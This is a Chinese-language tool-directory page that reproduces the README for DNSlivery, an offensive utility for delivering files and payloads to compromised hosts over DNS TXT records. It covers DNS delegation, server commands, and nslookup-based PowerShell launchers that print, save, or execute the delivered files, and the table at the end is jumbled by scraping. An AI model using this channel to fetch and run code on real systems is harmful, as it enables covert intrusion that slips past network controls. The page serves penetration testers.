Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/no0be/dnslivery
数据泄露渗透测试命令与控制DNS 分析
GitHubno0be/dnslivery

DNSlivery

通过DNS轻松传输文件和载荷

查看仓库
426777个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

python-3.7 Known Vulnerabilities

DNSlivery

通过 DNS 轻松交付文件和 Payload。

  • DNSlivery
  • 致谢
  • 描述
    • TL;DR
    • 你试图解决什么问题?
    • 它是如何工作的?
    • 要求
  • 设置
    • DNS 区域
    • DNSlivery
  • 用法
    • 服务端
    • 目标

致谢

该项目最初受到 PowerDNS 和 Joff Thyer 在 Paul's Security Weekly 播客 #590 (youtu.be/CP6cIwFJswQ) 中的技术环节的启发。

描述

TL;DR

DNSlivery 允许使用 DNS 作为传输协议向目标交付文件。

特性:

  • 允许在目标上打印、执行或保存文件
  • 不需要目标端安装任何客户端
  • 不需要完整的 DNS 服务器

demo-target.git

你试图解决什么问题?

当经典的 Web 交付不可行时,轻松地向被攻陷的目标交付文件和/或 Payload,无需专用客户端软件。这适用于限制外发 Web 流量或受到可疑 Web 代理检查的受限环境。

web-delivery-blocked.png

尽管已存在更完整的 DNS 隧道工具(例如 dnscat2 和 iodine),但它们都要求目标运行专用客户端。问题在于,在这种受限环境中,可能除了 DNS 之外别无他法来交付该客户端。换句话说,使用这些工具建立 DNS 通信通道的前提是已经存在一个 DNS 通信通道。

相比之下,DNSlivery 仅提供从服务器到目标的单向通信,但无需任何专用客户端。因此,如果你需要通过 DNS 建立可靠的双向通信通道,请使用 DNSlivery 向目标交付更高级 DNS 隧道工具的客户端。

它是如何工作的?

与大多数 DNS 隧道工具一样,DNSlivery 使用 TXT 记录以 base64 形式存储文件内容。但它不需要设置完整的 DNS 服务器即可工作。相反,它使用 scapy 库监听传入的 DNS 数据包并构造所需的响应。

network-process.png

由于大多数文件无法放入单个 TXT 记录,DNSlivery 会创建多个有序记录,其中包含文件的 base64 块。例如,上图说明了名为 file 文件的第 42 个块的交付过程。

为了检索所有 base64 块并将它们重新组合起来,而无需目标端安装专用客户端,DNSlivery 会为每个文件生成:

  • 一个简单的明文启动器 (launcher)
  • 一个可靠的 base64 编码暂存器 (stager)

two-stages-delivery.png

这种两阶段交付过程是为了给暂存器添加功能(例如处理丢失的 DNS 响应),否则这些功能无法放入单个 TXT 记录中。

目标兼容性说明

目前仅支持 PowerShell 目标。但可以改进 DNSlivery 以支持其他目标,如 bash 或 python。如果你希望看到此功能实现,请通过 @no0be 告知我。

要求

DNSlivery 不需要构建复杂的服务器基础设施。实际上只有两个简单要求:

  • 能够在公共 DNS 区域中创建 NS 记录
  • 拥有一台可以接收来自互联网的 udp/53 流量的 Linux 服务器

设置

DNS 区域

第一步是通过在您的域中创建新的 NS 记录,将子域委托给运行 DNSlivery 的服务器。例如,我创建了以下记录,将子域 dnsd.no0.be 委托给服务器 vps.no0.be。

root@kitploit:~
dnsd    IN  NS vps.no0.be.

如果您的区域由第三方提供商管理,请参考其文档创建 NS 记录。

DNSlivery

运行 DNSlivery 的唯一要求是 python3 及其 scapy 库。

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

用法

服务端

DNSlivery 将提供指定目录(默认 pwd)中的所有文件,并且需要以 root 权限运行才能监听传入的 udp/53 数据包。

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

示例:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

关于文件名规范化的说明

由于域名允许的字符集比 UNIX 文件名严格得多(根据 RFC1035),DNSlivery 会在必要时进行规范化。

示例:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

请注意,当前的规范化代码并不完美,因为它未考虑文件名重叠或大小限制。

目标

在目标上,首先通过请求所需的 TXT 记录来检索所需文件的启动器。支持以下三种启动器:

操作启动器描述
打印[filename].print.[domain](默认)将交付的文件打印到控制台
root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

然后,只需将 DNS 响应中引用的启动器复制并粘贴到 PowerShell 控制台,即可在目标上检索文件。

示例:

demo-target.git

下载工具
执行
[filename].exec.[domain]
执行交付的文件(适用于脚本)
保存[filename].save.[domain]将交付的文件保存到磁盘(适用于二进制文件)